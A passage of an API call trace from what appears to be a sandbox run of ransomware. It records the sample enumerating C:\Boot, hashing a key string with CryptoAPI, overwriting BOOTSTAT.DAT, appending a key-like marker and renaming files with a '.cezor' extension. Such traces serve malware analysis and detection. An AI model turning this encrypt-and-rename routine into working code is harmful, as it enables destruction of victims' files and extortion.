[0059.468] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.468] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4828 | out: hHeap=0x670000) returned 1 [0059.468] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0059.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4828 [0059.468] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.468] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0059.468] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.468] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=0) returned 1 [0059.468] CloseHandle (hObject=0x5c4) returned 1 [0059.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d47b8 [0059.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.468] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d47b8 | out: hHeap=0x670000) returned 1 [0059.468] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="C:\\Boot\\BCD.LOG2.cezor" (normalized: "c:\\boot\\bcd.log2.cezor")) returned 1 [0059.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4828 | out: hHeap=0x670000) returned 1 [0059.469] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0059.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4828 [0059.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.469] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0059.469] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.469] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=65536) returned 1 [0059.469] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.472] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xffda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.472] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.473] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.473] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x10000, lpOverlapped=0x0) returned 1 [0059.474] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.474] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.474] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.474] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.476] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.476] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.476] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.476] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.476] GetLastError () returned 0x0 [0059.476] SetLastError (dwErrCode=0x0) [0059.476] GetLastError () returned 0x0 [0059.476] SetLastError (dwErrCode=0x0) [0059.476] GetLastError () returned 0x0 [0059.476] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.477] SetLastError (dwErrCode=0x0) [0059.477] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.478] SetLastError (dwErrCode=0x0) [0059.478] GetLastError () returned 0x0 [0059.479] SetLastError (dwErrCode=0x0) [0059.479] GetLastError () returned 0x0 [0059.479] SetLastError (dwErrCode=0x0) [0059.479] GetLastError () returned 0x0 [0059.479] SetLastError (dwErrCode=0x0) [0059.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d47b8 [0059.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3033b68 | out: hHeap=0x670000) returned 1 [0059.479] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.479] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x312a418 [0059.480] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d47b8 | out: hHeap=0x670000) returned 1 [0059.480] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a418*, nNumberOfBytesToWrite=0xfffb, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x312a418*, lpNumberOfBytesWritten=0x9aafb24*=0xfffb, lpOverlapped=0x0) returned 1 [0059.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.481] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5f48 [0059.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x311d498 [0059.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x311d498, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.481] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x3116f60 [0059.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x311d498 | out: hHeap=0x670000) returned 1 [0059.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5f48 | out: hHeap=0x670000) returned 1 [0059.481] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0059.481] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.481] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.481] CloseHandle (hObject=0x5c4) returned 1 [0059.483] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d47b8 [0059.483] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.483] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d47b8 | out: hHeap=0x670000) returned 1 [0059.483] MoveFileW (lpExistingFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\Boot\\BOOTSTAT.DAT.cezor" (normalized: "c:\\boot\\bootstat.dat.cezor")) returned 1 [0059.483] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.483] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.484] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4828 | out: hHeap=0x670000) returned 1 [0059.484] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0059.484] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x30e5b30 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51d0 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.485] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x38) returned 0x3038608 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5180 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e51d0 | out: hHeap=0x670000) returned 1 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b30 | out: hHeap=0x670000) returned 1 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b30 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.485] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x54) returned 0x30faeb0 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51d0 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5608 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5180 | out: hHeap=0x670000) returned 1 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b30 | out: hHeap=0x670000) returned 1 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3038608 | out: hHeap=0x670000) returned 1 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b30 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.485] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5180 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52e8 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56f8 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e51d0 | out: hHeap=0x670000) returned 1 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5608 | out: hHeap=0x670000) returned 1 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b30 | out: hHeap=0x670000) returned 1 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30faeb0 | out: hHeap=0x670000) returned 1 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b30 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.486] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa8) returned 0x2fedd78 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5608 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51d0 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54c8 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ba8 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5180 | out: hHeap=0x670000) returned 1 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e52e8 | out: hHeap=0x670000) returned 1 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56f8 | out: hHeap=0x670000) returned 1 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b30 | out: hHeap=0x670000) returned 1 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b30 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.486] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13af1b30, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13af1b30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.486] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56f8 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.486] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.486] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfc) returned 0x30ffd28 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52e8 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5180 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52c0 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b80 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5608 | out: hHeap=0x670000) returned 1 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e51d0 | out: hHeap=0x670000) returned 1 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54c8 | out: hHeap=0x670000) returned 1 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ba8 | out: hHeap=0x670000) returned 1 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b30 | out: hHeap=0x670000) returned 1 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56f8 | out: hHeap=0x670000) returned 1 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56f8 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.487] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b30 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.487] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.487] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) 